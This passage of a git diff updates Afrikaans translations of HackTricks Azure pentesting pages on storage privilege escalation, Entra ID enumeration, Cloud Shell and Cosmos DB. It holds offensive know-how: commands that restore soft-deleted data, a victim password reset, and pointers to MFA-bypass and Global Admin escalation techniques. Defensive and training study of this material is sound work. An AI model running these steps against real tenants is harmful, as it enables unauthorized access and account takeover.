'n aanvaller 'n verwyderde houer herstel deur sy verwyderde weergawe-ID aan te dui of spesifieke blobs binne 'n houer te onttrek, indien hulle voorheen sag-verwyder was. Hierdie privilige-eskalasie kan 'n aanvaller in staat stel om sensitiewe data te herstel wat bedoel was om permanent verwyder te word, wat moontlik kan lei tot ongemagtigde toegang. +Met hierdie toestemmings kan 'n aanvaller 'n verwyderde houer herstel deur sy verwyderde weergawe-ID te spesifiseer of spesifieke blobs binne 'n houer te onttrek, indien hulle voorheen sag-verwyder was. Hierdie voorregverhoging kan 'n aanvaller in staat stel om sensitiewe data te herstel wat bedoel was om permanent verwyder te word, wat moontlik kan lei tot ongemagtigde toegang. ```bash #Restore the soft deleted container az storage container restore \ @@ -110,9 +110,9 @@ az storage blob undelete \ --container-name \ --name "fileName.txt" ``` -### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read +### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read` -Met hierdie toestemmings kan 'n aanvaller 'n verwyderde Azure-lêerdeling herstel deur sy verwyderde weergawe-ID te spesifiseer. Hierdie privilige-eskalasie kan 'n aanvaller in staat stel om sensitiewe data te herstel wat bedoel was om permanent verwyder te word, wat moontlik kan lei tot ongeoorloofde toegang. +Met hierdie toestemmings kan 'n aanvaller 'n verwyderde Azure-lêerdeling herstel deur sy verwyderde weergawe-ID te spesifiseer. Hierdie privilige-eskalasie kan 'n aanvaller in staat stel om sensitiewe data te herstel wat bedoel was om permanent verwyder te word, wat moontlik tot ongeoorloofde toegang kan lei. ```bash az storage share-rm restore \ --storage-account \ @@ -121,9 +121,9 @@ az storage share-rm restore \ ``` ## Ander interessante lykende toestemmings (TODO) -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Verander die eienaarskap van die blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Wysig die toestemmings van die blob -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Gee die resultaat van die blob-opdrag terug +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Verander eienaarskap van die blob +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Wysig toestemmings van die blob +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Gee die resultaat van die blob opdrag - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action ## Verwysings diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index eb4c8054a..c46d86391 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -186,7 +186,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token Wanneer jy **aanmeld** via **CLI** in Azure met enige program, gebruik jy 'n **Azure-toepassing** van 'n **tenant** wat aan **Microsoft** behoort. Hierdie Toepassings, soos die wat jy in jou rekening kan skep, **het 'n kliënt-id**. Jy **sal nie al hulle kan sien nie** in die **toegelate toepassingslys** wat jy in die konsole kan sien, **maar hulle is standaard toegelaat**. -Byvoorbeeld, 'n **powershell-skrip** wat **authentiseer** gebruik 'n app met kliënt-id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die konsole nie, kan 'n stelselaanvoerder **daardie toepassing blokkeer** sodat gebruikers nie toegang kan verkry nie met gereedskap wat via daardie App verbind. +Byvoorbeeld, 'n **powershell-skrip** wat **autentiseer** gebruik 'n app met kliënt-id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die konsole nie, kan 'n stelselaanvoerder **daardie toepassing blokkeer** sodat gebruikers nie toegang kan verkry nie met gereedskap wat via daardie App verbind. Daar is egter **ander kliënt-ids** van toepassings wat **jou sal toelaat om met Azure te verbind**: ```bash @@ -363,15 +363,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Conditional Access Policies +### MFA & Voorwaardelike Toegang Beleide -Dit word sterk aanbeveel om MFA aan elke gebruiker toe te voeg, egter, sommige maatskappye sal dit nie instel of mag dit instel met 'n Voorwaardelike Toegang: Die gebruiker sal **vereiste MFA wees as** dit vanaf 'n spesifieke ligging, blaaiers of **sekere voorwaarde** aanmeld. Hierdie beleide, as dit nie korrek geconfigureer is nie, mag geneig wees tot **bypasses**. Kontroleer: +Dit word sterk aanbeveel om MFA aan elke gebruiker toe te voeg, maar sommige maatskappye sal dit nie instel nie of mag dit instel met 'n Voorwaardelike Toegang: Die gebruiker sal **MFA vereis word as** dit vanaf 'n spesifieke ligging, blaaier of **sekere voorwaarde** aanmeld. Hierdie beleide, as dit nie korrek geconfigureer is nie, mag vatbaar wees vir **omseilings**. Kontroleer: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Groups +### Groepe Vir meer inligting oor Entra ID groepe, kyk: @@ -487,7 +487,7 @@ Eienaars van die groep kan nuwe gebruikers by die groep voeg Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy aan 'n groep toegevoegd word**. Natuurlik, as die voorwaardes gebaseer is op **eienskappe** wat 'n **gebruiker** kan **beheer**, kan hy hierdie funksie misbruik om **in ander groepe te kom**.\ +> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy by 'n groep gevoeg word**. Natuurlik, as die voorwaardes gebaseer is op **eienskappe** wat 'n **gebruiker** kan **beheer**, kan hy hierdie funksie misbruik om **in ander groepe te kom**.\ > Kyk hoe om dinamiese groepe te misbruik op die volgende bladsy: {{#ref}} @@ -792,21 +792,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> 'n Toepassing met die toestemming **`AppRoleAssignment.ReadWrite`** kan **opgradeer na Global Admin** deur homself die rol toe te ken.\ +> 'n Toepassing met die toestemming **`AppRoleAssignment.ReadWrite`** kan **opgradeer na Global Admin** deur vir homself die rol toe te ken.\ > Vir meer inligting [**kyk hier**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> 'n Geheime string wat die toepassing gebruik om sy identiteit te bewys wanneer dit 'n token aan vra, is die toepassing wagwoord.\ -> So, as jy hierdie **wagwoord** vind, kan jy toegang verkry as die **diens prinsiep** **binne** die **huurder**.\ +> 'n Geheime string wat die toepassing gebruik om sy identiteit te bewys wanneer dit 'n token aan vra, is die toepassingswagwoord.\ +> So, as jy hierdie **wagwoord** vind, kan jy toegang verkry as die **dienshoof** **binne** die **huurder**.\ > Let daarop dat hierdie wagwoord slegs sigbaar is wanneer dit gegenereer word (jy kan dit verander, maar jy kan dit nie weer kry nie).\ > Die **eienaar** van die **toepassing** kan 'n **wagwoord** daaraan **byvoeg** (sodat hy dit kan naboots).\ -> Aanmeldings as hierdie diens prinsiepe is **nie as riskant gemerk nie** en hulle **sal nie MFA hê nie.** +> Aanmeldings as hierdie dienshoofde is **nie as riskant gemerk nie** en hulle **sal nie MFA hê nie.** Dit is moontlik om 'n lys van algemeen gebruikte App ID's wat aan Microsoft behoort te vind in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Gemanagte Identiteite -Vir meer inligting oor Gemanagte Identiteite kyk: +Vir meer inligting oor Gemanagte Identiteite, kyk: {{#ref}} ../az-basic-information/ @@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members" -# Lys Entra ID rolle toegewy aan 'n gebruiker +# List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Lys Entra ID rolle toegewy aan 'n groep +# List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Lys Entra ID rolle toegewy aan 'n diens prinsiep +# List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json ``` - {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Kry al beskikbare rol sjablone +# Get all available role templates Get-AzureADDirectoryroleTemplate -# Kry geaktiveerde rolle (Toegekende rolle) +# Get enabled roles (Assigned roles) Get-AzureADDirectoryRole -Get-AzureADDirectoryRole -ObjectId #Kry inligting oor die rol -# Kry pasgemaakte rolle - gebruik AzureAdPreview +Get-AzureADDirectoryRole -ObjectId #Get info about the role +# Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName -# Gebruikers wat 'n rol toegeken is (Globale Administrateur) +# Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl -# Rolle van die Administratiewe Eenheid (wie het toestemming oor die administratiewe eenheid en sy lede) +# Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ``` - {{#endtab }} {{#endtabs }} -### Devices +### Toestelle {{#tabs }} {{#tab name="az cli" }} - ```bash -# As jy weet hoe om dit te doen, stuur 'n PR! +# If you know how to do this send a PR! ``` - {{#endtab }} {{#tab name="MS Graph" }} - ```bash -# Lys toestelle met Microsoft Graph PowerShell +# Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All -# Kry toestelbesonderhede +# Get device details Get-MgDevice -DeviceId | Format-List * -# Kry toestelle wat met Intune bestuur word +# Get devices managed using Intune Get-MgDevice -Filter "isCompliant eq true" -All -# Kry toestelle wat deur 'n gebruiker besit word +# Get devices owned by a user Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com -# Lys beskikbare opdragte in Microsoft Graph PowerShell +# List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement ``` {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Enumereer Toestelle +# Enumerate Devices Get-AzureADDevice -All $true | fl * -# Lys al die aktiewe toestelle (en nie die verouderde toestelle nie) +# List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} -# Kry eienaars van al die toestelle +# Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Geregistreerde gebruikers van al die toestelle +# Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Kry toestelle wat met Intune bestuur word +# Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} -# Kry toestelle wat deur 'n gebruiker besit word +# Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com -# Kry Administratiewe Eenhede van 'n toestel +# Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } ``` - {{#endtab }} {{#endtabs }} > [!WARNING] -> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\ -> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**. +> As 'n toestel (VM) **AzureAD aangesluit** is, gaan gebruikers van AzureAD **in staat wees om aan te meld**.\ +> Boonop, as die aangemelde gebruiker die **Eienaar** van die toestel is, gaan hy **lokale admin** wees. -### Administrative Units +### Administratiewe Eenhede -For more information about administrative units check: +Vir meer inligting oor administratiewe eenhede, kyk: {{#ref}} ../az-basic-information/ @@ -1062,34 +1045,30 @@ For more information about administrative units check: {{#tabs }} {{#tab name="az cli" }} - ```bash -# Lys alle administratiewe eenhede +# List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" -# Kry AU inligting +# Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" -# Kry lede +# Get members az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" -# Kry principals met rolle oor die AU +# Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```bash -# Kry Administratiewe Eenhede +# Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id -# Kry ID van administratiewe eenheid deur string -$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administratieve eenheid 2'" -# Lys die gebruikers, groepe, en toestelle wat deur die administratiewe eenheid geraak word +# Get ID of admin unit by string +$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'" +# List the users, groups, and devices affected by the administrative unit Get-AzureADMSAdministrativeUnitMember -Id -# Kry die rolle wat gebruikers oor die lede van die AU het -Get-AzureADMSScopedRoleMembership -Id | fl #Kry rol ID en rol lede +# Get the roles users have over the members of the AU +Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ``` - {{#endtab }} {{#endtabs }} @@ -1105,61 +1084,61 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Kry rol ID en rol lede ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Defensive Mechanisms +## Verdedigingsmeganismes ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. +Privileged Identity Management (PIM) in Azure help om **oormatige voorregte** te voorkom wat onnodig aan gebruikers toegeken word. -One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ -Note that the user will also be able to ask to **extend** the time. +Een van die hoofkenmerke wat deur PIM verskaf word, is dat dit toelaat om nie rolle aan principals toe te ken wat konstant aktief is nie, maar om hulle **verkieslik vir 'n tydperk (bv. 6 maande)** te maak. Dan, wanneer die gebruiker daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aan dui wat hy die voorreg nodig het (bv. 3 ure). Dan moet 'n **admin die versoek goedkeur**.\ +Let daarop dat die gebruiker ook kan vra om die tyd te **verleng**. -Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. +Boonop, **PIM stuur e-posse** wanneer 'n voorregte rol aan iemand toegeken word.
-When PIM is enabled it's possible to configure each role with certain requirements like: +Wanneer PIM geaktiveer is, is dit moontlik om elke rol met sekere vereistes te konfigureer soos: -- Maximum duration (hours) of activation -- Require MFA on activation -- Require Conditional Access acuthenticaiton context -- Require justification on activation -- Require ticket information on activation -- Require approval to activate -- Max time to expire the elegible assignments -- A lot more configuration on when and who to send notifications when certain actions happen with that role +- Maksimum duur (ure) van aktivering +- Vereis MFA op aktivering +- Vereis voorwaardelike toegang autentikasie konteks +- Vereis regverdigheid op aktivering +- Vereis kaartjie-inligting op aktivering +- Vereis goedkeuring om te aktiveer +- Maks tyd om die verkieslike toewysings te laat verval +- Nog baie meer konfigurasie oor wanneer en aan wie om kennisgewings te stuur wanneer sekere aksies met daardie rol gebeur -### Conditional Access Policies +### Voorwaardelike Toegang Beleide -Check: +Kontroleer: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra Identity Protection +### Entra Identiteitsbeskerming -Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. +Entra Identiteitsbeskerming is 'n sekuriteitsdiens wat toelaat om te **ontdek wanneer 'n gebruiker of 'n aanmelding te riskant is** om aanvaar te word, wat toelaat om die gebruiker of die aanmeldpoging te **blokkeer**. -It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: +Dit laat die admin toe om dit te konfigureer om **pogings te blokkeer** wanneer die risiko "Laag en bo", "Medium en bo" of "Hoog" is. Alhoewel, standaard is dit heeltemal **deaktiveer**:
> [!TIP] -> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. +> Vandag word dit aanbeveel om hierdie beperkings via Voorwaardelike Toegang beleide toe te voeg waar dit moontlik is om dieselfde opsies te konfigureer. -### Entra Password Protection +### Entra Wagwoordbeskerming -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ -It also allows to **ban a custom password list** that you need to provide. +Entra Wagwoordbeskerming ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitskenmerk wat **help om die misbruik van swak wagwoorde te voorkom deur rekeninge te sluit wanneer verskeie onsuksesvolle aanmeldpogings plaasvind**.\ +Dit laat ook toe om 'n **aangepaste wagwoordlys te verbied** wat jy moet verskaf. -It can be **applied both** at the cloud level and on-premises Active Directory. +Dit kan **op beide** die wolkvlak en op-premises Aktiewe Gids toegepas word. -The default mode is **Audit**: +Die standaardmodus is **Oudit**:
-## References +## Verwysings - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 5c81c0fcd..718856c7c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -4,13 +4,13 @@ ## Azure Cloud Shell -**Azure Cloud Shell** is 'n interaktiewe, geverifieerde, blaartoegang terminal wat ontwerp is om Azure hulpbronne te bestuur, wat die buigsaamheid bied om met ofwel Bash of PowerShell te werk. Dit loop op 'n tydelike, per-sessie gasheer wat na 20 minute van inaktiwiteit tydelik is, terwyl dit lêers in die $HOME ligging behou met behulp van 'n 5-GB lêerdeel. Cloud Shell kan deur verskeie punte toeganklik gemaak word, insluitend die Azure portaal, shell.azure.com, Azure CLI en PowerShell dokumentasie, die Azure mobiele app, en die Visual Studio Code Azure Account uitbreiding. +**Azure Cloud Shell** is 'n interaktiewe, geverifieerde, blaartoegang terminal wat ontwerp is om Azure hulpbronne te bestuur, en bied die buigsaamheid om met of Bash of PowerShell te werk. Dit loop op 'n tydelike, per-sessie gasheer wat na 20 minute van inaktiwiteit tydelik is, terwyl dit lêers in die $HOME ligging behou met behulp van 'n 5-GB lêerdeel. Cloud Shell kan deur verskeie punte toeganklik gemaak word, insluitend die Azure portaal, shell.azure.com, Azure CLI en PowerShell dokumentasie, die Azure mobiele app, en die Visual Studio Code Azure Account uitbreiding. -Daar is geen toestemmings aan hierdie diens toegeken nie, daarom is daar geen voorregverhogingstegnieke nie. Ook is daar geen soort van enumerasie nie. +Daar is geen toestemmings aan hierdie diens toegeken nie, daarom is daar geen voorregverhoging tegnieke nie. Ook is daar geen soort van enumerasie nie. ### Sleutelkenmerke -**Omgewing**: Azure Cloud Shell bied 'n veilige omgewing deur op Azure Linux te loop, Microsoft se eie Linux verspreiding wat ontwerp is vir wolkinfrastruktuur. Alle pakkette ingesluit in die Azure Linux-beraad is intern saamgestel deur Microsoft om teen voorsieningskettingaanvalle te beskerm. +**Omgewing**: Azure Cloud Shell bied 'n veilige omgewing deur op Azure Linux te loop, Microsoft se eie Linux verspreiding wat ontwerp is vir wolkinfrastruktuur. Alle pakkette ingesluit in die Azure Linux repository is intern saamgestel deur Microsoft om teen voorsieningskettingaanvalle te beskerm. **Vooraf geïnstalleerde Gereedskap**: Cloud Shell sluit 'n omvattende stel van vooraf geïnstalleerde gereedskap in soos Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, en teksredigeerders soos vim, nano, en emacs. Hierdie gereedskap is gereed om te gebruik. Om die geïnstalleerde pakkette en modules te lys, kan jy "Get-Module -ListAvailable", "tdnf list" en "pip3 list" gebruik. **$HOME volharding**: Wanneer jy Azure Cloud Shell vir die eerste keer begin, kan jy dit met of sonder 'n aangehegte stoorrekening gebruik. Om nie stoor aan te heg nie, skep 'n ephemerale sessie waar lêers verwyder word wanneer die sessie eindig. Om lêers oor sessies te behou, monteer 'n stoorrekening, wat outomaties as **$HOME\clouddrive** aangeheg word, met jou **$HOME** gids wat as 'n **.img** lêer in Azure File Share gestoor word. Lêers buite $HOME en masjienstate word egter nie behou nie. Vir die veilige stoor van geheime soos SSH sleutels, gebruik Azure Key Vault. **Azure dryf (Azure:)**: PowerShell in Azure Cloud Shell sluit die Azure dryf (Azure:) in, wat maklike navigasie van Azure hulpbronne soos Compute, Network, en Storage met behulp van lêerstelsels soos opdragte toelaat. Skakel na die Azure dryf met cd Azure: en keer terug na jou tuisgids met cd ~. Jy kan steeds Azure PowerShell cmdlets gebruik om hulpbronne van enige dryf te bestuur. @@ -18,15 +18,15 @@ Daar is geen toestemmings aan hierdie diens toegeken nie, daarom is daar geen vo ## Verwysings -* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) ## Volharding -{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} -[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) -{% endcontent-ref %} +{{#ref}} +../az-persistence/az-cloud-shell-persistence.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 9016e3c04..03851e4f0 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -6,30 +6,25 @@ **Azure Cosmos DB** is 'n volledig **bestuurde NoSQL, relationele, en vektordatabasis** wat enkel-digit millisekonde reaksietye, outomatiese skaalbaarheid, en SLA-ondersteunde beskikbaarheid met ondernemingsgraad sekuriteit bied. Dit stel vinniger app-ontwikkeling in staat deur kant-en-klaar multi-streek data verspreiding, oopbron API's, SDK's vir gewilde tale, en KI-databasis funksies soos geïntegreerde vektorondersteuning en naatlose Azure KI-integrasie. -Azure Cosmos DB bied verskeie databasis API's om werklike data te modelleer met behulp van dokumente, relationeel, sleutel-waarde, grafiek, en kolom-familie datamodelles, wat hierdie API's NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin en Tabel is. +Azure Cosmos DB bied verskeie databasis API's om werklike data te modelleer met behulp van dokumente, relationele, sleutel-waarde, grafiek, en kolom-familie datamodelles, wat hierdie API's NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin en Tabel is. -Een sleutel aspek van CosmosDB is Azure Cosmos Account. **Azure Cosmos Account** dien as die toegangspunt tot die databasisse. Die rekening bepaal sleutelinstellings soos globale verspreiding, konsekwentievlakke, en die spesifieke API wat gebruik moet word, soos NoSQL. Deur die rekening kan jy globale replikaasies konfigureer om te verseker dat data beskikbaar is oor verskeie streke vir lae-latensie toegang. Boonop kan jy 'n konsekwentievlak kies wat 'n balans tussen prestasie en datanauwkeurigheid handhaaf, met opsies wat wissel van Sterk tot Finale konsekwentheid. +Een sleutel aspek van CosmosDB is Azure Cosmos Account. **Azure Cosmos Account** dien as die toegangspunt tot die databasisse. Die rekening bepaal sleutelinstellings soos globale verspreiding, konsekwentievlakke, en die spesifieke API wat gebruik moet word, soos NoSQL. Deur die rekening kan jy globale replikaasies instel om te verseker dat data beskikbaar is oor verskeie streke vir lae-latensie toegang. Boonop kan jy 'n konsekwentievlak kies wat 'n balans tussen prestasie en datanauwkeurigheid handhaaf, met opsies wat wissel van Sterk tot Finale konsekwentheid. ### NoSQL (sql) -Die Azure Cosmos DB NoSQL API is 'n dokument-gebaseerde API wat JSON as sy dataformaat gebruik. Dit bied 'n SQL-agtige vraagsintaksis vir die opvra van JSON-objekte, wat dit geskik maak vir die werk met gestruktureerde en semi-gestruktureerde data. Die eindpunt van die diens is: - -{% code overflow="wrap" %} +Die Azure Cosmos DB NoSQL API is 'n dokument-gebaseerde API wat JSON as sy dataformaat gebruik. Dit bied 'n SQL-agtige vraagsintaksis vir die ondervraging van JSON-objekte, wat dit geskik maak vir die werk met gestruktureerde en semi-gestruktureerde data. Die eindpunt van die diens is: ```bash https://.documents.azure.com:443/ ``` -{% endcode %} +#### Databases +Binne 'n rekening kan jy een of meer databasisse skep, wat dien as logiese groepe van houers. 'n Databasis dien as 'n grense vir hulpbronbestuur en gebruikersregte. Databasisse kan of die voorsiene deurset oor hul houers deel of toegewyde deurset aan individuele houers toewys. -#### Databasies -Binne 'n rekening kan jy een of meer databasies skep, wat dien as logiese groepe van houers. 'n Databasis dien as 'n grense vir hulpbronbestuur en gebruikersregte. Databasies kan of die toegewyde deurvoer oor hul houers deel of toegewyde deurvoer aan individuele houers toewys. +#### Containers +Die kern eenheid van data-opberging is die houer, wat JSON-dokumente bevat en outomaties geindexeer word vir doeltreffende navraag. Houers is elasties skaalbaar en versprei oor partisie, wat bepaal word deur 'n deur gebruiker gedefinieerde partisie sleutel. Die partisie sleutel is krities vir die verseker van optimale prestasie en eweredige data verspreiding. Byvoorbeeld, 'n houer kan kliëntdata stoor, met "customerId" as die partisie sleutel. -#### Houers -Die kern eenheid van data-opberging is die houer, wat JSON-dokumente bevat en outomaties geindexeer word vir doeltreffende navraag. Houers is elasties skaalbaar en versprei oor partisie, wat bepaal word deur 'n deur gebruiker gedefinieerde partisie sleutel. Die partisie sleutel is krities vir die verseker van optimale prestasie en eweredige data verspreiding. Byvoorbeeld, 'n houer kan klantdata stoor, met "customerId" as die partisie sleutel. +#### Enumeration -#### Enumerasie - -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosD @@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName " # List all user-defined functions (UDFs) in a specific Cosmos DB SQL container. Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### Verbinding -Om die azure-cosmosDB (pip install azure-cosmos) biblioteek te verbind, is dit nodig. Boonop is die eindpunt en die sleutel kritieke komponente om die verbinding te maak. -{% code overflow="wrap" %} +Om die azure-cosmosDB (pip install azure-cosmos) biblioteek te verbind, is dit nodig. Boonop is die eindpunt en die sleutel belangrike komponente om die verbinding te maak. ```python from azure.cosmos import CosmosClient, PartitionKey @@ -158,11 +149,7 @@ print("All items in the container:") for item in all_items: print(item) ``` -{% endcode %} - -'n Ander manier om 'n verbinding te vestig, is om die **DefaultAzureCredential()** te gebruik. Jy moet net aanmeld (az login) met die rekening wat die regte het en dit uitvoer. In hierdie geval moet 'n roltoewysing gedoen word, wat die nodige regte gee (sien vir meer) - -{% code overflow="wrap" %} +'n Ander manier om 'n verbinding te vestig, is om die **DefaultAzureCredential()** te gebruik. Jy moet net aanmeld (az login) met die rekening wat die toestemmings het en dit uitvoer. Vir hierdie geval moet 'n roltoewysing gedoen word, wat die nodige toestemmings gee (sien vir meer) ```python from azure.identity import DefaultAzureCredential from azure.cosmos import CosmosClient @@ -187,28 +174,21 